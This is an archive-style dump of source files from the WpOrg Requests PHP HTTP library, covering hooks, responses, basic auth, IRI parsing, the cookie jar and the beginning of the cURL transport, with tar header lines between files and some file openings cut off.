if (!isset($this->hooks[$hook])) {
$this->hooks[$hook] = [
$priority => [],
];
} elseif (!isset($this->hooks[$hook][$priority])) {
$this->hooks[$hook][$priority] = [];
}
$this->hooks[$hook][$priority][] = $callback;
}
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
*/
public function dispatch($hook, $parameters = []) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
if (is_array($parameters) === false) {
throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
}
if (empty($this->hooks[$hook])) {
return false;
}
if (!empty($parameters)) {
// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
$parameters = array_values($parameters);
}
ksort($this->hooks[$hook]);
foreach ($this->hooks[$hook] as $priority => $hooked) {
foreach ($hooked as $callback) {
$callback(...$parameters);
}
}
return true;
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
}
src/Response.php 0000644 00000010271 15162160274 0007647 0 ustar 00 headers = new Headers();
$this->cookies = new Jar();
}
/**
* Is the response a redirect?
*
* @return boolean True if redirect (3xx status), false if not.
*/
public function is_redirect() {
$code = $this->status_code;
return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
}
/**
* Throws an exception if the request was not successful
*
* @param boolean $allow_redirects Set to false to throw on a 3xx as well
*
* @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
* @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
*/
public function throw_for_status($allow_redirects = true) {
if ($this->is_redirect()) {
if ($allow_redirects !== true) {
throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
}
} elseif (!$this->success) {
$exception = Http::get_class($this->status_code);
throw new $exception(null, $this);
}
}
/**
* JSON decode the response body.
*
* The method parameters are the same as those for the PHP native `json_decode()` function.
*
* @link https://php.net/json-decode
*
* @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
* When `false`, JSON objects will be returned as objects.
* When `null`, JSON objects will be returned as associative arrays
* or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
* Defaults to `true` (in contrast to the PHP native default of `null`).
* @param int $depth Optional. Maximum nesting depth of the structure being decoded.
* Defaults to `512`.
* @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
* JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
* Defaults to `0` (no options set).
*
* @return array
*
* @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
*/
public function decode_body($associative = true, $depth = 512, $options = 0) {
$data = json_decode($this->body, $associative, $depth, $options);
if (json_last_error() !== JSON_ERROR_NONE) {
$last_error = json_last_error_msg();
throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
}
return $data;
}
}
src/Auth/Basic.php 0000644 00000004755 15162160274 0010005 0 ustar 00 user, $this->pass) = $args;
return;
}
if ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @see \WpOrg\Requests\Auth\Basic::curl_before_send()
* @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
/**
* Set cURL parameters before the data is sent
*
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
}
/**
* Add extra headers to the request before sending
*
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
}
/**
* Get the authentication string (user:pass)
*
* @return string
*/
public function getAuthString() {
return $this->user . ':' . $this->pass;
}
}
src/Iri.php 0000644 00000071666 15162160274 0006613 0 ustar 00 array(
'port' => Port::ACAP,
),
'dict' => array(
'port' => Port::DICT,
),
'file' => array(
'ihost' => 'localhost',
),
'http' => array(
'port' => Port::HTTP,
),
'https' => array(
'port' => Port::HTTPS,
),
);
/**
* Return the entire IRI when you try and read the object as a string
*
* @return string
*/
public function __toString() {
return $this->get_iri();
}
/**
* Overload __set() to provide access via properties
*
* @param string $name Property name
* @param mixed $value Property value
*/
public function __set($name, $value) {
if (method_exists($this, 'set_' . $name)) {
call_user_func(array($this, 'set_' . $name), $value);
}
elseif (
$name === 'iauthority'
|| $name === 'iuserinfo'
|| $name === 'ihost'
|| $name === 'ipath'
|| $name === 'iquery'
|| $name === 'ifragment'
) {
call_user_func(array($this, 'set_' . substr($name, 1)), $value);
}
}
/**
* Overload __get() to provide access via properties
*
* @param string $name Property name
* @return mixed
*/
public function __get($name) {
// isset() returns false for null, we don't want to do that
// Also why we use array_key_exists below instead of isset()
$props = get_object_vars($this);
if (
$name === 'iri' ||
$name === 'uri' ||
$name === 'iauthority' ||
$name === 'authority'
) {
$method = 'get_' . $name;
$return = $this->$method();
}
elseif (array_key_exists($name, $props)) {
$return = $this->$name;
}
// host -> ihost
elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
$name = $prop;
$return = $this->$prop;
}
// ischeme -> scheme
elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
$name = $prop;
$return = $this->$prop;
}
else {
trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
$return = null;
}
if ($return === null && isset($this->normalization[$this->scheme][$name])) {
return $this->normalization[$this->scheme][$name];
}
else {
return $return;
}
}
/**
* Overload __isset() to provide access via properties
*
* @param string $name Property name
* @return bool
*/
public function __isset($name) {
return (method_exists($this, 'get_' . $name) || isset($this->$name));
}
/**
* Overload __unset() to provide access via properties
*
* @param string $name Property name
*/
public function __unset($name) {
if (method_exists($this, 'set_' . $name)) {
call_user_func(array($this, 'set_' . $name), '');
}
}
/**
* Create a new IRI object, from a specified string
*
* @param string|Stringable|null $iri
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
*/
public function __construct($iri = null) {
if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
}
$this->set_iri($iri);
}
/**
* Create a new IRI object by resolving a relative IRI
*
* Returns false if $base is not absolute, otherwise an IRI.
*
* @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
* @param \WpOrg\Requests\Iri|string $relative Relative IRI
* @return \WpOrg\Requests\Iri|false
*/
public static function absolutize($base, $relative) {
if (!($relative instanceof self)) {
$relative = new self($relative);
}
if (!$relative->is_valid()) {
return false;
}
elseif ($relative->scheme !== null) {
return clone $relative;
}
if (!($base instanceof self)) {
$base = new self($base);
}
if ($base->scheme === null || !$base->is_valid()) {
return false;
}
if ($relative->get_iri() !== '') {
if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
$target = clone $relative;
$target->scheme = $base->scheme;
}
else {
$target = new self;
$target->scheme = $base->scheme;
$target->iuserinfo = $base->iuserinfo;
$target->ihost = $base->ihost;
$target->port = $base->port;
if ($relative->ipath !== '') {
if ($relative->ipath[0] === '/') {
$target->ipath = $relative->ipath;
}
elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
$target->ipath = '/' . $relative->ipath;
}
elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
}
else {
$target->ipath = $relative->ipath;
}
$target->ipath = $target->remove_dot_segments($target->ipath);
$target->iquery = $relative->iquery;
}
else {
$target->ipath = $base->ipath;
if ($relative->iquery !== null) {
$target->iquery = $relative->iquery;
}
elseif ($base->iquery !== null) {
$target->iquery = $base->iquery;
}
}
$target->ifragment = $relative->ifragment;
}
}
else {
$target = clone $base;
$target->ifragment = null;
}
$target->scheme_normalization();
return $target;
}
/**
* Parse an IRI into scheme/authority/path/query/fragment segments
*
* @param string $iri
* @return array
*/
protected function parse_iri($iri) {
$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
$has_match = preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match);
if (!$has_match) {
throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
}
if ($match[1] === '') {
$match['scheme'] = null;
}
if (!isset($match[3]) || $match[3] === '') {
$match['authority'] = null;
}
if (!isset($match[5])) {
$match['path'] = '';
}
if (!isset($match[6]) || $match[6] === '') {
$match['query'] = null;
}
if (!isset($match[8]) || $match[8] === '') {
$match['fragment'] = null;
}
return $match;
}
/**
* Remove dot segments from a path
*
* @param string $input
* @return string
*/
protected function remove_dot_segments($input) {
$output = '';
while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
// A: If the input buffer begins with a prefix of "../" or "./",
// then remove that prefix from the input buffer; otherwise,
if (strpos($input, '../') === 0) {
$input = substr($input, 3);
}
elseif (strpos($input, './') === 0) {
$input = substr($input, 2);
}
// B: if the input buffer begins with a prefix of "/./" or "/.",
// where "." is a complete path segment, then replace that prefix
// with "/" in the input buffer; otherwise,
elseif (strpos($input, '/./') === 0) {
$input = substr($input, 2);
}
elseif ($input === '/.') {
$input = '/';
}
// C: if the input buffer begins with a prefix of "/../" or "/..",
// where ".." is a complete path segment, then replace that prefix
// with "/" in the input buffer and remove the last segment and its
// preceding "/" (if any) from the output buffer; otherwise,
elseif (strpos($input, '/../') === 0) {
$input = substr($input, 3);
$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
}
elseif ($input === '/..') {
$input = '/';
$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
}
// D: if the input buffer consists only of "." or "..", then remove
// that from the input buffer; otherwise,
elseif ($input === '.' || $input === '..') {
$input = '';
}
// E: move the first path segment in the input buffer to the end of
// the output buffer, including the initial "/" character (if any)
// and any subsequent characters up to, but not including, the next
// "/" character or the end of the input buffer
elseif (($pos = strpos($input, '/', 1)) !== false) {
$output .= substr($input, 0, $pos);
$input = substr_replace($input, '', 0, $pos);
}
else {
$output .= $input;
$input = '';
}
}
return $output . $input;
}
/**
* Replace invalid character with percent encoding
*
* @param string $text Input string
* @param string $extra_chars Valid characters not in iunreserved or
* iprivate (this is ASCII-only)
* @param bool $iprivate Allow iprivate
* @return string
*/
protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
// Normalize as many pct-encoded sections as possible
$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);
// Replace invalid percent characters
$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);
// Add unreserved and % to $extra_chars (the latter is safe because all
// pct-encoded sections are now valid).
$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
// Now replace any bytes that aren't allowed with their pct-encoded versions
$position = 0;
$strlen = strlen($text);
while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
$value = ord($text[$position]);
// Start position
$start = $position;
// By default we are valid
$valid = true;
// No one byte sequences are valid due to the while.
// Two byte sequence:
if (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$length = 1;
$remaining = 0;
}
if ($remaining) {
if ($position + $length <= $strlen) {
for ($position++; $remaining; $position++) {
$value = ord($text[$position]);
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$character |= ($value & 0x3F) << (--$remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte:
else {
$valid = false;
$position--;
break;
}
}
}
else {
$position = $strlen - 1;
$valid = false;
}
}
// Percent encode anything invalid or not in ucschar
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0xA0
|| $character > 0xEFFFD
)
&& (
// Everything not in iprivate, if it applies
!$iprivate
|| $character < 0xE000
|| $character > 0x10FFFD
)
) {
// If we were a character, pretend we weren't, but rather an error.
if ($valid) {
$position--;
}
for ($j = $start; $j <= $position; $j++) {
$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
$j += 2;
$position += 2;
$strlen += 2;
}
}
}
return $text;
}
/**
* Callback function for preg_replace_callback.
*
* Removes sequences of percent encoded bytes that represent UTF-8
* encoded characters in iunreserved
*
* @param array $regex_match PCRE match
* @return string Replacement
*/
protected function remove_iunreserved_percent_encoded($regex_match) {
// As we just have valid percent encoded sequences we can just explode
// and ignore the first member of the returned array (an empty string).
$bytes = explode('%', $regex_match[0]);
// Initialize the new string (this is what will be returned) and that
// there are no bytes remaining in the current sequence (unsurprising
// at the first byte!).
$string = '';
$remaining = 0;
// Loop over each and every byte, and set $value to its value
for ($i = 1, $len = count($bytes); $i < $len; $i++) {
$value = hexdec($bytes[$i]);
// If we're the first byte of sequence:
if (!$remaining) {
// Start position
$start = $i;
// By default we are valid
$valid = true;
// One byte sequence:
if ($value <= 0x7F) {
$character = $value;
$length = 1;
}
// Two byte sequence:
elseif (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$remaining = 0;
}
}
// Continuation byte:
else {
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$remaining--;
$character |= ($value & 0x3F) << ($remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
else {
$valid = false;
$remaining = 0;
$i--;
}
}
// If we've reached the end of the current byte sequence, append it to Unicode::$data
if (!$remaining) {
// Percent encode anything invalid or not in iunreserved
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of iunreserved codepoints
|| $character < 0x2D
|| $character > 0xEFFFD
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
// Everything else not in iunreserved (this is all BMP)
|| $character === 0x2F
|| $character > 0x39 && $character < 0x41
|| $character > 0x5A && $character < 0x61
|| $character > 0x7A && $character < 0x7E
|| $character > 0x7E && $character < 0xA0
|| $character > 0xD7FF && $character < 0xF900
) {
for ($j = $start; $j <= $i; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
}
else {
for ($j = $start; $j <= $i; $j++) {
$string .= chr(hexdec($bytes[$j]));
}
}
}
}
// If we have any bytes left over they are invalid (i.e., we are
// mid-way through a multi-byte sequence)
if ($remaining) {
for ($j = $start; $j < $len; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
}
return $string;
}
protected function scheme_normalization() {
if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
$this->iuserinfo = null;
}
if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
$this->ihost = null;
}
if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
$this->port = null;
}
if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
$this->ipath = '';
}
if (isset($this->ihost) && empty($this->ipath)) {
$this->ipath = '/';
}
if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
$this->iquery = null;
}
if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
$this->ifragment = null;
}
}
/**
* Check if the object represents a valid IRI. This needs to be done on each
* call as some things change depending on another part of the IRI.
*
* @return bool
*/
public function is_valid() {
$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
if ($this->ipath !== '' &&
(
$isauthority && $this->ipath[0] !== '/' ||
(
$this->scheme === null &&
!$isauthority &&
strpos($this->ipath, ':') !== false &&
(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
)
)
) {
return false;
}
return true;
}
public function __wakeup() {
$class_props = get_class_vars( __CLASS__ );
$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
$array_props = array( 'normalization' );
foreach ( $class_props as $prop => $default_value ) {
if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
throw new UnexpectedValueException();
} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
throw new UnexpectedValueException();
}
$this->$prop = null;
}
}
/**
* Set the entire IRI. Returns true on success, false on failure (if there
* are any invalid characters).
*
* @param string $iri
* @return bool
*/
protected function set_iri($iri) {
static $cache;
if (!$cache) {
$cache = array();
}
if ($iri === null) {
return true;
}
$iri = (string) $iri;
if (isset($cache[$iri])) {
list($this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return) = $cache[$iri];
return $return;
}
$parsed = $this->parse_iri($iri);
$return = $this->set_scheme($parsed['scheme'])
&& $this->set_authority($parsed['authority'])
&& $this->set_path($parsed['path'])
&& $this->set_query($parsed['query'])
&& $this->set_fragment($parsed['fragment']);
$cache[$iri] = array($this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return);
return $return;
}
/**
* Set the scheme. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $scheme
* @return bool
*/
protected function set_scheme($scheme) {
if ($scheme === null) {
$this->scheme = null;
}
elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
$this->scheme = null;
return false;
}
else {
$this->scheme = strtolower($scheme);
}
return true;
}
/**
* Set the authority. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $authority
* @return bool
*/
protected function set_authority($authority) {
static $cache;
if (!$cache) {
$cache = array();
}
if ($authority === null) {
$this->iuserinfo = null;
$this->ihost = null;
$this->port = null;
return true;
}
if (isset($cache[$authority])) {
list($this->iuserinfo,
$this->ihost,
$this->port,
$return) = $cache[$authority];
return $return;
}
$remaining = $authority;
if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
$iuserinfo = substr($remaining, 0, $iuserinfo_end);
$remaining = substr($remaining, $iuserinfo_end + 1);
}
else {
$iuserinfo = null;
}
if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
$port = substr($remaining, $port_start + 1);
if ($port === false || $port === '') {
$port = null;
}
$remaining = substr($remaining, 0, $port_start);
}
else {
$port = null;
}
$return = $this->set_userinfo($iuserinfo) &&
$this->set_host($remaining) &&
$this->set_port($port);
$cache[$authority] = array($this->iuserinfo,
$this->ihost,
$this->port,
$return);
return $return;
}
/**
* Set the iuserinfo.
*
* @param string $iuserinfo
* @return bool
*/
protected function set_userinfo($iuserinfo) {
if ($iuserinfo === null) {
$this->iuserinfo = null;
}
else {
$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
$this->scheme_normalization();
}
return true;
}
/**
* Set the ihost. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $ihost
* @return bool
*/
protected function set_host($ihost) {
if ($ihost === null) {
$this->ihost = null;
return true;
}
if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
}
else {
$this->ihost = null;
return false;
}
}
else {
$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
// Lowercase, but ignore pct-encoded sections (as they should
// remain uppercase). This must be done after the previous step
// as that can add unescaped characters.
$position = 0;
$strlen = strlen($ihost);
while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
if ($ihost[$position] === '%') {
$position += 3;
}
else {
$ihost[$position] = strtolower($ihost[$position]);
$position++;
}
}
$this->ihost = $ihost;
}
$this->scheme_normalization();
return true;
}
/**
* Set the port. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $port
* @return bool
*/
protected function set_port($port) {
if ($port === null) {
$this->port = null;
return true;
}
if (strspn($port, '0123456789') === strlen($port)) {
$this->port = (int) $port;
$this->scheme_normalization();
return true;
}
$this->port = null;
return false;
}
/**
* Set the ipath.
*
* @param string $ipath
* @return bool
*/
protected function set_path($ipath) {
static $cache;
if (!$cache) {
$cache = array();
}
$ipath = (string) $ipath;
if (isset($cache[$ipath])) {
$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
}
else {
$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
$removed = $this->remove_dot_segments($valid);
$cache[$ipath] = array($valid, $removed);
$this->ipath = ($this->scheme !== null) ? $removed : $valid;
}
$this->scheme_normalization();
return true;
}
/**
* Set the iquery.
*
* @param string $iquery
* @return bool
*/
protected function set_query($iquery) {
if ($iquery === null) {
$this->iquery = null;
}
else {
$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
$this->scheme_normalization();
}
return true;
}
/**
* Set the ifragment.
*
* @param string $ifragment
* @return bool
*/
protected function set_fragment($ifragment) {
if ($ifragment === null) {
$this->ifragment = null;
}
else {
$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
$this->scheme_normalization();
}
return true;
}
/**
* Convert an IRI to a URI (or parts thereof)
*
* @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
* @return string|false URI if IRI is valid, false otherwise.
*/
protected function to_uri($iri) {
if (!is_string($iri)) {
return false;
}
static $non_ascii;
if (!$non_ascii) {
$non_ascii = implode('', range("\x80", "\xFF"));
}
$position = 0;
$strlen = strlen($iri);
while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
$position += 3;
$strlen += 2;
}
return $iri;
}
/**
* Get the complete IRI
*
* @return string|false
*/
protected function get_iri() {
if (!$this->is_valid()) {
return false;
}
$iri = '';
if ($this->scheme !== null) {
$iri .= $this->scheme . ':';
}
if (($iauthority = $this->get_iauthority()) !== null) {
$iri .= '//' . $iauthority;
}
$iri .= $this->ipath;
if ($this->iquery !== null) {
$iri .= '?' . $this->iquery;
}
if ($this->ifragment !== null) {
$iri .= '#' . $this->ifragment;
}
return $iri;
}
/**
* Get the complete URI
*
* @return string
*/
protected function get_uri() {
return $this->to_uri($this->get_iri());
}
/**
* Get the complete iauthority
*
* @return string|null
*/
protected function get_iauthority() {
if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
return null;
}
$iauthority = '';
if ($this->iuserinfo !== null) {
$iauthority .= $this->iuserinfo . '@';
}
if ($this->ihost !== null) {
$iauthority .= $this->ihost;
}
if ($this->port !== null) {
$iauthority .= ':' . $this->port;
}
return $iauthority;
}
/**
* Get the complete authority
*
* @return string
*/
protected function get_authority() {
$iauthority = $this->get_iauthority();
if (is_string($iauthority)) {
return $this->to_uri($iauthority);
}
else {
return $iauthority;
}
}
}
src/HookManager.php 0000644 00000001305 15162160274 0010242 0 ustar 00 0 is executed later
*/
public function register($hook, $callback, $priority = 0);
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
*/
public function dispatch($hook, $parameters = []);
}
src/Cookie/Jar.php 0000644 00000010413 15162160274 0007774 0 ustar 00 cookies = $cookies;
}
/**
* Normalise cookie data into a \WpOrg\Requests\Cookie
*
* @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
* @param string $key Optional. The name for this cookie.
* @return \WpOrg\Requests\Cookie
*/
public function normalize_cookie($cookie, $key = '') {
if ($cookie instanceof Cookie) {
return $cookie;
}
return Cookie::parse($cookie, $key);
}
/**
* Check if the given item exists
*
* @param string $offset Item key
* @return boolean Does the item exist?
*/
#[ReturnTypeWillChange]
public function offsetExists($offset) {
return isset($this->cookies[$offset]);
}
/**
* Get the value for the item
*
* @param string $offset Item key
* @return string|null Item value (null if offsetExists is false)
*/
#[ReturnTypeWillChange]
public function offsetGet($offset) {
if (!isset($this->cookies[$offset])) {
return null;
}
return $this->cookies[$offset];
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
#[ReturnTypeWillChange]
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
$this->cookies[$offset] = $value;
}
/**
* Unset the given header
*
* @param string $offset The key for the item to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset($offset) {
unset($this->cookies[$offset]);
}
/**
* Get an iterator for the data
*
* @return \ArrayIterator
*/
#[ReturnTypeWillChange]
public function getIterator() {
return new ArrayIterator($this->cookies);
}
/**
* Register the cookie handler with the request's hooking system
*
* @param \WpOrg\Requests\HookManager $hooks Hooking system
*/
public function register(HookManager $hooks) {
$hooks->register('requests.before_request', [$this, 'before_request']);
$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
}
/**
* Add Cookie header to a request if we have any
*
* As per RFC 6265, cookies are separated by '; '
*
* @param string $url
* @param array $headers
* @param array $data
* @param string $type
* @param array $options
*/
public function before_request($url, &$headers, &$data, &$type, &$options) {
if (!$url instanceof Iri) {
$url = new Iri($url);
}
if (!empty($this->cookies)) {
$cookies = [];
foreach ($this->cookies as $key => $cookie) {
$cookie = $this->normalize_cookie($cookie, $key);
// Skip expired cookies
if ($cookie->is_expired()) {
continue;
}
if ($cookie->domain_matches($url->host)) {
$cookies[] = $cookie->format_for_header();
}
}
$headers['Cookie'] = implode('; ', $cookies);
}
}
/**
* Parse all cookies from a response and attach them to the response
*
* @param \WpOrg\Requests\Response $response Response as received.
*/
public function before_redirect_check(Response $response) {
$url = $response->url;
if (!$url instanceof Iri) {
$url = new Iri($url);
}
$cookies = Cookie::parse_from_headers($response->headers, $url);
$this->cookies = array_merge($this->cookies, $cookies);
$response->cookies = $this;
}
}
src/Transport/Curl.php 0000644 00000046163 15162160274 0010763 0 ustar 00 = 8.0.
*/
private $handle;
/**
* Hook dispatcher instance
*
* @var \WpOrg\Requests\Hooks
*/
private $hooks;
/**
* Have we finished the headers yet?
*
* @var boolean
*/
private $done_headers = false;
/**
* If streaming to a file, keep the file pointer
*
* @var resource
*/
private $stream_handle;
/**
* How many bytes are in the response body?
*
* @var int
*/
private $response_bytes;
/**
* What's the maximum number of bytes we should keep?
*
* @var int|bool Byte count, or false if no limit.
*/
private $response_byte_limit;
/**
* Constructor
*/
public function __construct() {
$curl = curl_version();
$this->version = $curl['version_number'];
$this->handle = curl_init();
curl_setopt($this->handle, CURLOPT_HEADER, false);
curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
if ($this->version >= self::CURL_7_10_5) {
curl_setopt($this->handle, CURLOPT_ENCODING, '');
}
if (defined('CURLOPT_PROTOCOLS')) {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
if (defined('CURLOPT_REDIR_PROTOCOLS')) {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
}
/**
* Destructor
*/
public function __destruct() {
if (is_resource($this->handle)) {
curl_close($this->handle);
}
}
/**
* Perform a request
*
* @param string|Stringable $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return string Raw HTTP result
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
